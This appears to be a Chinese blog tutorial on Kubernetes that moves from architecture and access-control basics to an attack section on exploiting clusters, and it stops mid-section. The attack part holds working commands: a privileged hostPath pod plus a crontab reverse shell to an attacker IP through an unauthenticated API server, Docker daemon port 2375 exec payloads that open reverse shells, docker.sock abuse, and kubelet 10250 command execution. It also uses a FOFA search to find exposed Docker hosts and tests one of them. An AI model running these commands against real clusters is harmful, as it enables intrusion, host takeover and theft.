2024最新最全【k8s】安全学习【非常具体】零基础入门到精通 ...

打印 上一主题 下一主题

主题 831|帖子 831|积分 2493



一、云
   云的定义看似模糊,但本质上,它是一个用于形貌全球服务器网络的术语,每个服务器都有一个独特的功能。云不是一个物理实体,而是一个庞大的全球长途服务器网络,它们连接在一起,旨在作为单一的生态体系运行。这些服务器设计用于存储和管理数据、运行应用程序,大概交付内容/服务(如视频短片、Web
邮件、办公室生产力软件或交际媒体)。不是从本地或个人计算机访问文件和数据,而是通过任何支持 Internet 的装备在线访问 -
这些信息在必要时随时随地可用。
    企业采用 4 种不同的方法部署云资源。存在一个[公有云](https://azure.microsoft.com/zh-
cn/overview/what-is-a-public-cloud/ “公有云”),它通过 Internet
共享资源并向公众提供服务;一个[私有云](https://azure.microsoft.com/zh-cn/overview/what-is-a-
private-cloud/
“私有云”),它不进行共享且经过通常本地托管的私有内部网络提供服务;一个[肴杂云](https://azure.microsoft.com/zh-
cn/overview/what-is-hybrid-cloud-computing/
“肴杂云”),它根据其目的在公有云和私有云之间共享服务;以及一个社区云,它仅在组织之间(例如与政府机构)共享资源。
  《云是什么- 定义 - Microsoft Azure》


二、何为k8s
k8s即Kubernetes。
其为google开发来被用于容器管理的开源应用程序,可资助创建和管理应用程序的容器化。
用一个的例子来形貌:”当虚拟化容器Docker有太多要管理的时候,手动管理就会很麻烦,于是我们便可以通过k8s来简化我们的管理”


0x00
K8S 架构简述
我们在上文已经知道,K8S是用于管理虚拟化容器的一个应用体系,在这末节中会着重讲述K8S的架构、实现原理。
下图为K8S架构的概览:
![](https://img-
blog.csdnimg.cn/img_convert/d482dc47d889afa8756cbdec98815319.png)
   kubectl 是 k8s 的客户端工具,可以使用命令行管理集群
  k8s主要由较少的master节点以及其对应的多个Node节点组成。master用于对Node节点进行控制管理,一个k8s集群中至少要有一台master节点。
Master 节点中包含很多的组件,主要为如下
etcd
它存储集群中每个节点可以使用的配置信息。它是一个高可用性键值存储,可以在多个节点之间分布。只有Kubernetes
API服务器可以访问它,因为它大概具有一些敏感信息。这是一个分布式键值存储,所有人都可以访问。 简而言之: 存储节点信息
API server
Kubernetes是一个API服务器,它使用API在集群上提供所有操纵。API服务器实现了一个接口,这意味着不同的工具和库可以轻松地与其进行通信。Kubeconfig是与可用于通信的服务器端工具一起的软件包。它公开Kubernetes
API 。简而言之: 读取与剖析请求指令的中枢
Controller Manage
该组件负责调治群集状态并执行使命的大多数收集器。通常,可以将其视为在非终止循环中运行的守护程序,该守护程序负责收集信息并将其发送到API服务器。它致力于获取群集的共享状态,然后进行更改以使服务器的当前状态达到所需状态。关键控制器是复制控制器,端点控制器,名称空间控制器和服务帐户控制器。控制器管理器运行不同范例的控制器来处理节点,端点等。
简而言之: 维护k8s资源
Scheduler
这是Kubernetes
master的关键组件之一。它是主服务器中负责分配工作负载的服务。它负责跟踪群集节点上工作负载的利用率,然后将工作负载放在可用资源上并继承该工作负载。换句话说,这是负责将Pod分配给可用节点的机制。调度程序负责工作负载利用率,并将Pod分配给新节点。
简而言之: 负载均衡调度器
Node 节点也包含了很多组件,主要如下
Docker
Docker引擎,运行着容器的基础环境
kubelet
在每个node节点都存在一份,主要来执行关于资源操纵的指令,负责pod的维护。
kube-proxy
代理服务,用于负载均衡,在多个pod之间做负载均衡
fluentd :
日志收集服务
pod :
pod是k8s的最小服务单元,pod内部才是容器,k8s通过操纵pod来操纵容器 。一个Node节点可以有多个Pod
Pod可以说是Node节点中最核心的部分,Pod也是一个容器,它是一个”用来封装容器的容器”。一个Pod中往往会装载多个容器,这些容器共用一个虚拟环境,共享着网络和存储等资源。
这些容器的资源共享以及相互交互都是由pod里面的pause容器来完成的,每初始化一个pod时便会生成一个pause容器。
![](https://img-
blog.csdnimg.cn/img_convert/532e7e35ea9b454d0c9c58081e55aca9.png)


0x01
K8S工作流程
用户端命令下发通常流程如下:

  • kubectl向apiserver发送部署请求(例如使用 kubectl create -f deployment.yml)
  • apiserver将 Deployment 持久化到etcd;etcd与apiserver进行一次http通信。
  • controller manager通过watch api监听 apiserver ,deployment controller看到了一个新创建的deplayment对象更后,将其从队列中拉出,根据deployment的形貌创建一个ReplicaSet并将 ReplicaSet 对象返回apiserver并持久化回etcd。
  • 接着scheduler调度器看到未调度的pod对象,根据调度规则选择一个可调度的节点,加载到pod形貌中nodeName字段,并将pod对象返回apiserver并写入etcd。
  • kubelet在看到有pod对象中nodeName字段属于本节点,将其从队列中拉出,通过容器运行时创建pod中形貌的容器。
![](https://img-
blog.csdnimg.cn/img_convert/02289f627e44f025ca17139daa6e4f3a.png)


0x02
搭建K8S
见《K8S环境搭建.md》


0x03
k8S的基础概念
Kubernetes教程 | Kuboard(非常好的中文教程)
学习 Kubernetes 基础知识 |
Kubernetes(k8s官方教程,有交互式操纵界面,稍微有点欠好的是有些地方没有中文)
   以下内容来自https://kuboard.cn/learning/k8s-basics/kubernetes-basics.html
  

部署(Deployment)
   Worker节点(即Node)是VM(虚拟机)或物理计算机,充当k8s集群中的工作计算机
  Deployment 译名为 部署 。在k8s中,通过发布 Deployment,可以创建应用程序 (docker image) 的实例
(docker container),这个实例会被包含在称为 Pod 的概念中, Pod 是 k8s 中最小可管理单元。
在 k8s 集群中发布 Deployment 后,Deployment 将指示 k8s 怎样创建和更新应用程序的实例,master
节点将应用程序实例调度到集群中的具体的节点上。
创建应用程序实例后,Kubernetes Deployment Controller 会持续监控这些实例。如果运行实例的 worker 节点关机或被删除,则
Kubernetes Deployment Controller 将在群集中资源最优的另一个 worker 节点上重新创建一个新的实例。
这提供了一种自我修复机制来办理呆板故障或维护标题。
在容器编排之前的期间,各种安装脚本通常用于启动应用程序,但是不可以或许使应用程序从呆板故障中规复。通过创建应用程序实例并确保它们在集群节点中的运行实例个数,Kubernetes
Deployment 提供了一种完全不同的方式来管理应用程序。
![](https://img-
blog.csdnimg.cn/img_convert/9e37fb62b1cdf228dc3b67ebe27ea285.png)
相关命令:
   kubectl 是 k8s 的客户端工具,可以使用命令行管理集群
  kubectl备忘录:[kubectl 备忘单 | Kubernetes](https://kubernetes.io/zh-
cn/docs/reference/kubectl/cheatsheet/ “kubectl 备忘单 | Kubernetes”)
  1. # 查看 Deployment
  2. kubectl get deployments
  3. # 查看 Pod
  4. kubectl get pods
  5. #根据yaml文件部署
  6. kubectl apply -f nginx-deployment.yaml
复制代码
一个yaml文件差不多就长这样: (nginx-deployment.yaml)
  1. apiVersion: apps/v1  #与k8s集群版本有关,使用 kubectl api-versions 即可查看当前集群支持的版本kind: Deployment  #该配置的类型,我们使用的是 Deployment
  2. metadata:          #译名为元数据,即 Deployment 的一些基本属性和信息
  3.         name: nginx-deployment  #Deployment 的名称
  4.     labels:      #标签,可以灵活定位一个或多个资源,其中key和value均可自定义,可以定义多组,目前不需要理解
  5.             app: nginx  #为该Deployment设置key为app,value为nginx的标签
  6. spec:          #这是关于该Deployment的描述,可以理解为你期待该Deployment在k8s中如何使用                          replicas: 1  #使用该Deployment创建一个应用程序实例
  7.         selector:      #标签选择器,与上面的标签共同作用,目前不需要理解
  8.                 matchLabels: #选择包含标签app:nginx的资源
  9.                         app: nginx  
  10.         template:      #这是选择或创建的Pod的模板
  11.                 metadata:  #Pod的元数据
  12.                         labels:  #Pod的标签,上面的selector即选择包含标签app:nginx的Pod
  13.                                 app: nginx   
  14.                 spec:      #期望Pod实现的功能(即在pod中部署)      
  15.                         containers:  #生成container,与docker中的container是同一种
  16.                           - name: nginx  #container的名称
  17.                                   image: nginx:1.7.9  #使用镜像nginx:1.7.9创建container,该container默认80端口可访问
复制代码


POD与Node
![](https://img-
blog.csdnimg.cn/img_convert/10e21d9cd37526aa8a6c76004acfb679.png)
Pod 容器组 是一个k8s中一个抽象的概念,用于存放一组 container(可包含一个或多个 container 容器,即图上正方体),以及这些
container (容器)的一些共享资源。这些资源包括:


  • 共享存储,称为卷(Volumes),即图上紫色圆柱
  • 网络, 每个 Pod(容器组)在集群中有个唯一的 IP ,pod(容器组)中的 container(容器)共享该IP地点
  • container(容器)的根本信息,例如容器的镜像版本,对外袒露的端口等
POD是集群上最基础的单元
下图中的一个 Node(节点)上含有4个 Pod(容器组)
![](https://img-
blog.csdnimg.cn/img_convert/eb5e7c02706ca7ddfd4103620a8f2e4e.png)
Pod(容器组)总是在 Node(节点) 上运行。Node(节点)是 kubernetes 集群中的计算机,可以是虚拟机或物理机。每个
Node(节点)都由 master 管理。一个 Node(节点)可以有多个Pod(容器组),kubernetes master 会根据每个
Node(节点)上可用资源的情况,自动调度 Pod(容器组)到最佳的 Node(节点)上。
一个Node节点的状态大致有以下的东西


  • Addresses :地点
  • Conditions :状态(conditions 字段形貌了所有 Running 节点的状态)
  • Capacity and Allocatable :容量与可分配,形貌节点上的可用资源:CPU、内存和可以调度到节点上的 Pod 的个数上限。
  • Info :关于节点的一般性信息,例如内核版本、Kubernetes 版本(kubelet 和 kube-proxy 版本)、 Docker 版本(如果使用了)和操纵体系名称。这些信息由 kubelet 从节点上搜集而来。
  • HostName:由节点的内核设置。可以通过 kubelet 的 —hostname-override 参数覆盖。
  • ExternalIP:通常是节点的可外部路由(从集群外可访问)的 IP 地点。
  • InternalIP:通常是节点的仅可在集群内部路由的 IP 地点。
  • Ready 如节点是康健的并已经准备好吸取 Pod 则为 True;False 表示节点不康健而且不能吸取 Pod;Unknown 表示节点控制器在近来 node-monitor-grace-period 期间(默认 40 秒)没有收到节点的消息
  • DiskPressure为True则表示节点的空闲空间不足以用于添加新 Pod, 否则为 False
  • MemoryPressure为True则表示节点存在内存压力,即节点内存可用量低,否则为 False
  • PIDPressure为True则表示节点存在历程压力,即节点上历程过多;否则为 False
  • NetworkUnavailable为True则表示节点网络配置不正确;否则为 False
相关命令:
  1.     #获取类型为Pod的资源列表
  2. kubectl get pods
  3. #获取类型为Node的资源列表
  4. kubectl get nodes
  5. # kubectl describe 资源类型 资源名称
  6. #查看名称为nginx-XXXXXX的Pod的信息
  7. kubectl describe pod nginx-XXXXXX
  8. #查看名称为nginx的Deployment的信息
  9. kubectl describe deployment nginx
  10. #查看名称为nginx-pod-XXXXXXX的Pod内的容器打印的日志
  11. kubectl logs -f podname
  12. #在Pod中运行命令
  13. kubectl exec -it nginx-pod-xxxxxx /bin/bash
复制代码


服务(Service)
   [https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-service-服务-
概述](https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-
service-%E6%9C%8D%E5%8A%A1-%E6%A6%82%E8%BF%B0
“https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-service-服务-
概述”)
  通过以上内容我们知道, 应用程序所在的Pod是一直变动着的 ,而每个Pod的ip又不一样,但是对于前端用户来说,应用程序的访问地点应该是唯一的才行。
因此k8s提供了一个机制用来为前端屏蔽后端Pod变动带来的IP变动,这便是 Service
Service 为一系列有相同特征的Pod(一个应用的Pod在不绝变换,但是不论怎么变换这些Pod都有相同的特征)定义了一个统一的访问方式,
Service是通过标签选择器( LabelSelector
)来识别有哪些Pod有相同特征(带有特定Lable标签的POD,Lable可以由用户设置,标签存在于所有K8S对象上并不但仅范围于Pod)
可以编成一个容器组的。
Service有三种选项袒露应用程序的入口,可以通过设置应用程序配置文件中的Service 项的spec.type 值来调解:


  • ClusterIP (默认)
在群集中的内部IP上公布服务,这种方式的 Service(服务)只在集群内部可以访问到


  • NodePort
​ 使用 NAT 在集群中每个的同一端口上公布服务。这种方式下,可以通过访问集群中恣意节点+端口号的方式访 问服务
<NodeIP>:<NodePort>。此时 ClusterIP 的访问方式仍然可用。


  • LoadBalancer
​ 在云环境中(必要云供应商可以支持)创建一个集群外部的负载均衡器,并为使用该负载均衡器的 IP 地点作为 服务的访问地点。此时 ClusterIP 和
NodePort 的访问方式仍然可用。
下图中有两个服务Service A(黄色虚线)和Service B(蓝色虚线) Service A 将请求转发到 IP 为 10.10.10.1
的Pod上, Service B 将请求转发到 IP 为 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。
![](https://img-
blog.csdnimg.cn/img_convert/bec0cebd4e13aa6a2ef9fb0f9b68cc3b.png)
Service 将外部请求路由到一组 Pod 中,它提供了一个抽象层,使得 Kubernetes
可以在不影响服务调用者的情况下,动态调度容器组(在容器组失效后重新创建容器组,增长大概减少同一个 Deployment 对应容器组的数量等)。
在每个节点上都有Kube-proxy服务,Service使用其将链接路由到Pod


伸缩(Scaling)应用程序
可以通过更改deployment配置文件中的replicas项来设置开启的POD数量
在前面,我们创建了一个
Deployment,然后通过 [服务](https://kubernetes.io/docs/concepts/services-
networking/service/ “服务”)提供访问 Pod 的方式。我们发布的 Deployment 只创建了一个 Pod
来运行我们的应用程序。当流量增多导致应用程序POD负载加重后,我们必要对应用程序进行 伸缩
操纵,增长POD数量来减轻负担,访问流量将会通过负载均衡在多个POD之间转发。
伸缩 的实现可以通过更改 nginx-deployment.yaml 文件中部署的 replicas(副本数)来完成
  1. spec:
  2.   replicas: 2    #使用该Deployment创建两个应用程序实例
复制代码


执行滚动更新(
Rolling Update )
当我们想对已经部署的程序进行升级更新,但又不想让程序制止,就可以使用滚动更新来实现。
滚动更新通过使用新版本的POD逐步替换旧版本POD来实现零停机更新
滚动更新是K8S默认的更新方式


0x04
k8s用户
Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是平凡用户。


  • service account 是由 Kubernetes API管理的账户。它们都绑定到了特定的 namespace,并由 API server 自动创建,大概通过 API 调用手动创建。Service account 关联了一套凭据,存储在 Secret,这些凭据同时被挂载到 pod 中,从而答应 pod 与 kubernetes API 之间的调用。( service account的利用见k8s安全部分 )
  • Use Account(用户账号):一般是指由独立于Kubernetes之外的其他服务管理的用户账号,例如由管理员分发的密钥、Keystone一类的用户存储(账号库)、甚至是包 含有用户名和密码列表的文件等。Kubernetes中不存在表示此类用户账号的对象, 因此不能被直接添加进 Kubernetes 体系中 。


0x05
k8s访问控制过程(安全机制)
   具体内容参考笔记《k8s访问控制过程(安全机制).md》
  k8s 中所有的 api 请求都要通过一个 gateway 也就是 apiserver 组件来实现,是集群唯一的访问入口。主要实现的功能就是api 的认证


  • 鉴权以及准入控制。
![](https://img-
blog.csdnimg.cn/img_convert/029dd4bc954eef080b5761f753832c7f.png)
三种机制:


  • 认证 :Authentication,即身份认证。检查用户是否为合法用户,如客户端证书、密码、bootstrap tookens和JWT tokens等方式。
  • 鉴权 :Authorization,即权限判断。判断该用户是否具有该操纵的权限,k8s 中支持 Node、RBAC(Role-Based Access Control)、ABAC、webhook等机制,RBAC 为主流方式
  • 准入控制 :Admission Control。请求的最后一个步调,一般用于拓展功能,如检查 pod 的resource是否配置,yaml配置的安满是否合规等。一般使用admission webhooks来实现
留意:认证授权过程只存在HTTPS形式的API中。也就是说,如果客户端使用HTTP连接到kube-apiserver,是不会进行认证授权


k8s认证
X509 client certs
客户端证书认证,X509 是一种数字证书的格式尺度,是 kubernetes 中默认开启使用最多的一种,也是最安全的一种。api-server 启动时会指定
ca 证书以及 ca 私钥,只要是通过同一个 ca 签发的客户端 x509 证书,则认为是可信的客户端,kubeadm 安装集群时就是基于证书的认证方式。
user 生成 kubeconfig就是X509 client certs方式。
Service Account Tokens
因为基于x509的认证方式相对比力复杂,不实用于k8s集群内部pod的管理。Service Account Tokens是 service account
使用的认证方式。定义一个 pod 应该拥有什么权限。一个 pod
与一个服务账户相关联,该服务账户的凭据(token)被放入该pod中每个容器的文件体系树中,位于/var/run/secrets/kubernetes.io/serviceaccount/token
service account 主要包含了三个内容: namespace、token 和 ca


  • namespace: 指定了 pod 所在的 namespace
  • token: token 用作身份验证
  • ca: ca 用于验证 apiserver 的证书


k8s鉴权
K8S 目前支持了如下四种授权机制:


  • Node
  • ABAC
  • RBAC
  • Webhook
具体到授权模式其实有六种:


  • 基于属性的访问控制(ABAC)模式答应你 使用本地文件配置策略。
  • 基于角色的访问控制(RBAC)模式答应你使用 Kubernetes API 创建和存储策略。
  • WebHook 是一种 HTTP 回调模式,答应你使用长途 REST 端点管理鉴权。
  • node节点鉴权是一种特别用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
  • AlwaysDeny制止所有请求。仅将此标记用于测试。
  • AlwaysAllow答应所有请求。仅在你不必要 API 请求 的鉴权时才使用此标记。
可以选择多个鉴权模块。模块按顺序检查,以便较靠前的模块具有更高的优先级来答应 或拒绝请求。
从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳固的功能。


三、K8S攻击矩阵
   CDK是一款为容器环境定制的渗出测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的
逃逸、横向移动、持久化利用方式,插件化管理。
  https://github.com/cdk-team/CDK
  下图是K8S的一些攻击矩阵
![](https://img-
blog.csdnimg.cn/img_convert/aef75491b0f4728ba1172eb98498ed73.png)
![](https://img-
blog.csdnimg.cn/img_convert/fa46973cb6df40f3e6b3e13b60eb8f8b.png)
本文就围绕着这个框架,叙述一些有用的攻击伎俩吧


0x00
k8s环境中的信息收集
信息收集与我们的攻击场景大概说进入的内网的起点分不开。 一般来说内网不会完全基于容器技术进行构建。以是起点一般可以分为权限受限的容器和物理主机内网。
在K8s内部集群网络主要依赖网络插件,目前使用比力多的主要是Flannel和Calico
主要存在4种范例的通信:


  • 同一Pod内的容器间通信
  • 各Pod彼此间通信
  • Pod与Service间的通信
  • 集群外部的流量与Service间的通信
当我们起点是一个在k8s集群内部权限受限的容器时,和通例内网渗出区别不大,上传端口扫描工具探测即可。


k8s常用端口
在k8s环境中,内网探测可以高度关注的端口: (各端口的渗出在下面会展开)
  1. kube-apiserver: 6443, 8080
  2. kubectl proxy: 8080, 8081
  3. kubelet: 10250, 10255, 4149
  4. dashboard: 30000
  5. docker api: 2375
  6. etcd: 2379, 2380
  7. kube-controller-manager: 10252
  8. kube-proxy: 10256, 31442
  9. kube-scheduler: 10251
  10. weave: 6781, 6782, 6783
  11. kubeflow-dashboard: 8080
复制代码


0x01
初始访问


1、云账号AK泄露
在如今的云的大环境下,许多业务代码想要与云服务进行通信,就必要通过accesskey这个东西进行鉴权,鉴权通过后才气与云服务进行通信。
通俗来讲,人想要访问一个服务,往往必要提供密码来进行身份验证;而代码想要访问一个云服务API,则必要提供accesskey来进行身份验证。
如果accesskey泄露了,我们便可以利用这个accesskey来与云服务通信,反弹个云主机的shell返来作为入口点慢慢往内打。
下面文章是关于云原生安全中accesskey安全更加具体的论述,阅读后可以对accesskey的概念有更深入的了解。
由access key泄露浅谈云安全 -
FreeBuf网络安全行业门户
记一次阿里云主机泄露Access Key到Getshell -
FreeBuf网络安全行业门户


2、恶意镜像
在docker中,容器的建立依赖于镜像,如果pull得到的镜像是一个恶意镜像,大概pull得到的镜像自己就存在安全漏洞,便会带来安全风险
下图便是dockerhub上部署挖矿软件的恶意镜像,它会从github上下载恶意挖矿软件进行挖矿
![](https://img-
blog.csdnimg.cn/img_convert/a80466028958ba010b09664a8c67a0ca.png)


3、API
Server未授权(8080,6443)
属于是K8S中的经典漏洞了
回顾一下API Server的作用,它在集群中被用于提供API来控制集群内部,如果我们能控制API
Server,就意味着我们可以通过它利用kubectl创建Pod并使用磁盘挂载技术获取Node节点控制权(关于磁盘挂载获取节点shell的技术在背面的末节中再进行具体论述)。
API Server可以在两个端口上提供了对外服务:8080(insecure-port,非安全端口)和6443(secure-
port,安全端口),此中8080端口提供HTTP服务且无需身份认证,6443端口提供HTTPS服务且支持身份认证(8080和6443端口并不是固定的,是通过配置文件来控制的)。
insecure-port 开启
API Server在8080端口上开放的服务应该是用于测试,但如果其在生存环境中被暴袒露来,攻击者便可以利用此端口进行对集群的攻击。
但是利用API Server的8080端口进行未授权活动的前提条件略显苛刻(配置失当+版本较低),8080端口服务是默认不启动的,但如果用户在
/etc/kubernets/manifests/kube-apiserver.yaml 中有 --insecure- port=8080配置项,那就启动了非安全端口,有了安全风险。
   注: 1.20 版本后该选项已无效化
  ![](https://img-
blog.csdnimg.cn/img_convert/f8b4508f6761232d6114e36fc8a2b7e3.png)
环境前提:
  1. step1:进入cd /etc/kubernetes/manifests/
  2. step2: 修改api-kube.conf
  3.         添加- -–insecure-port=8080
  4.         添加- -–insecure-bind-address=0.0.0.0
  5. Kubelet 会监听该文件的变化,当您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 文件之后,kubelet 将自动终止原有的 kube-apiserver-{nodename} 的 Pod,并自动创建一个使用了新配置参数的 Pod 作为替代
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/2da69e9e563833ed70b9b300c97b4d3f.png)
重启服务
  1. systemctl daemon-reload
  2. systemctl restart kubelet
复制代码
在现实环境中,因为8080端口相对比力常见,导致在内部排查常常忽略这个风险点。
利用
   环境信息:
  一个集群包含三个节点,此中包括一个控制节点和两个工作节点
  

  • K8s-master 192.168.11.152
  • K8s-node1 192.168.11.153
  • K8s-node2 192.168.11.160
    攻击机kali
  

  • 192.168.11.128
  直接访问 8080 端口会返回可用的 API 列表:
![](https://img-
blog.csdnimg.cn/img_convert/6fc99ad130e4a8b2c424d9a48c50d701.png)
使用kubectl可以指定IP和端口调用存在未授权漏洞的API Server。
如果没有kubectl,必要安装kubectl,安装可以参考官网文档:


  • 在 Linux 上安装 kubectl
  • 在 macOS 上安装 kubectl
  • 在 Windows 上安装 kubectl
使用kubectl获取集群信息:
  1. kubectl -s ip:port get nodes
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/0b887423c6a5858b713fb8c5f245f579.png)
注:如果你的kubectl版本比服务器的高,会出现错误,必要把kubectl的版本降低.
接着在本机上新建个yaml文件用于创建容器,并将节点的根目次挂载到容器的 /mnt 目次,内容如下:
  1. apiVersion: v1
  2. kind: Pod
  3. metadata:
  4.   name: test
  5. spec:
  6.   containers:
  7.   - image: nginx
  8.     name: test-container
  9.     volumeMounts:
  10.     - mountPath: /mnt
  11.       name: test-volume
  12.   volumes:
  13.   - name: test-volume
  14.     hostPath:
  15.       path: /
复制代码
然后使用 kubectl 创建容器,这个时候我们发现是无法指定在哪个节点上创建pod。
  1. kubectl -s 192.168.11.152:8080 create -f test.yaml
  2. kubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash
复制代码
写入反弹 shell 的定时使命
  1. echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab
复制代码
稍等一会获得node02节点权限:
![](https://img-
blog.csdnimg.cn/img_convert/ca5c685acb3c011b6b36032a483ade1d.png)
大概也可以通过写公私钥的方式控制宿主机。
如果apiserver配置了dashboard的话,可以直接通过ui界面创建pod。
secure-port 配置错误
若我们不带任何凭据的访问 API server的 secure-port端口,默认会被服务器标记为system:anonymous用户。
一般来说system:anonymous用户权限是很低的,但是如果运维职员管理失当,把system:anonymous用户绑定到了cluster- admin用户组,那么就意味着secure-port答应匿名用户以管理员权限向集群下达命令。(也就是secure-
port酿成某种意义上的insecure-port了)
利用
方法一
  1. kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes
  2. #(192.168.111.20:6443 是master节点上apiserver的secure-port)然后提示输入账户密码,随便乱输就行
复制代码
正常情况应该是这样
![](https://img-
blog.csdnimg.cn/img_convert/ff51b9049bd2d1bb8dfc7bd74bbce2d5.png)
但如果secure-port 配置失当出现了未授权,就会这样
![](https://img-
blog.csdnimg.cn/img_convert/63c1f526873d6cdd91e03827f99eaff4.png)
方法二
利用cdk工具通过"system:anonymous"匿名账号尝试登录
  1. ./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/e1a5da01929d827978640601528bbced.png)
创建特权容器:
![](https://img-
blog.csdnimg.cn/img_convert/3a3399f732014e3e770226ebaa7d7185.png)
之后的攻击方式和上面是一样的


4、k8s
configfile 泄露
k8s configfile配置文件中大概会有api-
server登岸凭据等敏感信息,如果获取到了集群configfile内容(如泄露在github),将会对集群内部安全造成巨大影响。
这里引用阿里云社区的一张图
![](https://img-
blog.csdnimg.cn/img_convert/341aade861c978d02aba59ccb126cf61.png)


5、容器内部应用漏洞入侵
顾名思义,容器内部应用就有标题(比如内部应用是tomcat,且有RCE漏洞),从而就会导致黑客获取Pod shell,拿到入口点


6、docker.sock
利用
Docker以server-client的形式工作,服务端叫Docker daemon,客户端叫docker client。
Docker daemon想调用docker指令,就必要通过docker.sock这个文件向docker client进行通讯。换句话说,Docker
daemon通过docker.sock这个文件去管理docker容器(如创建容器,容器内执行命令,查询容器状态等)。
同时,Docker
daemon也可以通过配置将docker.sock袒露在端口上,一般情况下2375端口用于未认证的HTTP通信,2376用于可信的HTTPS通信。
公网袒露(2375)(Docker Daemon)
如果docker daemon 2375端口袒露在了公网上,那么便可以直接利用该端口控制docker容器,并通过新建容器配合磁盘挂载技术获取宿主机权限。
fofa搜索
  1. server="Docker" && port="2375"
复制代码
可以发现有很多袒露在公网的docker.sock,
![](https://img-
blog.csdnimg.cn/img_convert/08086e12dae8c2b91d55f110d0c5478d.png)
我们选一个来试试水
可以发现是成功的调用了API查询了容器状态
![](https://img-
blog.csdnimg.cn/img_convert/ad02d9203305a47e62a1e47df5a73043.png)
然后我们可以通过如下指令,在指定容器内部执行命令
  1. curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
复制代码
获取到一个id
![](https://img-
blog.csdnimg.cn/img_convert/1306329103a34636626b11063fe2b5f3.png)
然后请求这个id,执行此命令
  1. curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
复制代码
就像这样:(图片引用自freebuf)
![](https://img-
blog.csdnimg.cn/img_convert/855dbf2116ead8874f1ad15b837cca4b.png)
直接利用现成的docker.sock
如果我们入侵了一个docker容器,这个docker容器里面有docker.sock(常用路径/var/run/docker.sock),那么就可以直接利用此文件控制docker
daemon。
把上一末节的命令改改就行,加一个—unix-socket参数。
  1. curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
  2. curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
复制代码
一般来说docker.sock是存在于docker
daemon服务端的,但如果开发职员想在docker容器里运行docker命令,就必要把宿主机的docker.sock挂载到容器内部了,这就给了我们docker逃逸的可乘之机。
实战案例
Docker Daemon未授权访问的检测与利用:
  1. #探测是否访问未授权访问
  2. curl http://192.168.238.129:2375/info
  3. docker -H tcp://192.168.238.129:2375 info
  4. #推荐使用这种方式,操作方便。
  5. export DOCKER_HOST="tcp://192.168.238.129:2375"
复制代码
Docker Daemon未授权实战案例:
![](https://img-
blog.csdnimg.cn/img_convert/3e256410fa69b422aa4d5355e4c8ad41.png)


7、kubelet
未授权(10250/10255)
   危害:
  

  • 可以直接控制该node下的所有pod
  • 检索寻找特权容器,获取 Token
  • 如果可以或许从pod获取高权限的token,则可以直接接管集群。
  kubelet和kubectl的区别?
kubelet是在Node上用于管理本机Pod的,kubectl是用于管理集群的。kubectl向集群下达指令,Node上的kubelet收到指令后以此来管理本机Pod。
![](https://img-
blog.csdnimg.cn/img_convert/cc3ccf0d2032e8cb60a9666b6fb49088.png)
   Kubelet API 一般监听在2个端口:10250、10255。此中,10250端口是可读写的,10255是一个只读端口。
  kubelet对应的API端口默认在10250,运行在集群中每台Node上,kubelet
的配置文件在node上的/var/lib/kubelet/config.yaml
我们重点关注配置文件中的这两个选项:第一个选项用于设置kubelet api能否被匿名访问,第二个选项用于设置kubelet api访问是否必要经过Api
server进行授权(这样纵然匿名⽤户可以或许访问也不具备任何权限)。
![](https://img-
blog.csdnimg.cn/img_convert/03c26cda7a0026a888d395619e8df348.png)
在默认情况下,kubelet配置文件就如上图所示,我们直接访问kubelet对应API端口会表现认证不通过
![](https://img-
blog.csdnimg.cn/img_convert/5f7c343248c83eae8545043feeba45f3.png)
我们将配置文件中,authentication-anonymous-enabled改为true,authorization-
mode改为AlwaysAllow,再使用命令systemctl restart kubelet
重启kubelet,那么就可以实现kubelet未授权访问
![](https://img-
blog.csdnimg.cn/img_convert/690065b6ff9b54d1ef157dc49597aca5.png)
关于authorization-mode还有以下的配置:
  1. --authorization-mode=ABAC 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。
  2. --authorization-mode=RBAC 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。
  3. --authorization-mode=Webhook WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
  4. --authorization-mode=Node 节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
  5. --authorization-mode=AlwaysDeny 该标志阻止所有请求。仅将此标志用于测试。
  6. --authorization-mode=AlwaysAllow 此标志允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。
复制代码
在我们发现kubelet未授权后,可以进行以下操纵拿到入口点
执行Pod内命令
如果有kubelet未授权,那就可以用以下命令在Pod内执行命令
  1. curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"
复制代码
此中的参数可以从https://node_ip:10250/pods 中获取
   

  • metadata.namespace 下的值为 namespace
  • metadata.name下的值为 pod_name
  • spec.containers下的 name 值为 container_name
  ![](https://img-
blog.csdnimg.cn/img_convert/d99e9711b7e9d9832ce7ff873fb81e02.png)
可以直接回显命令结果,很方便
![](https://img-
blog.csdnimg.cn/img_convert/cf33473b69d2d9bec01c187f230a3155.png)
获取容器内service account凭据
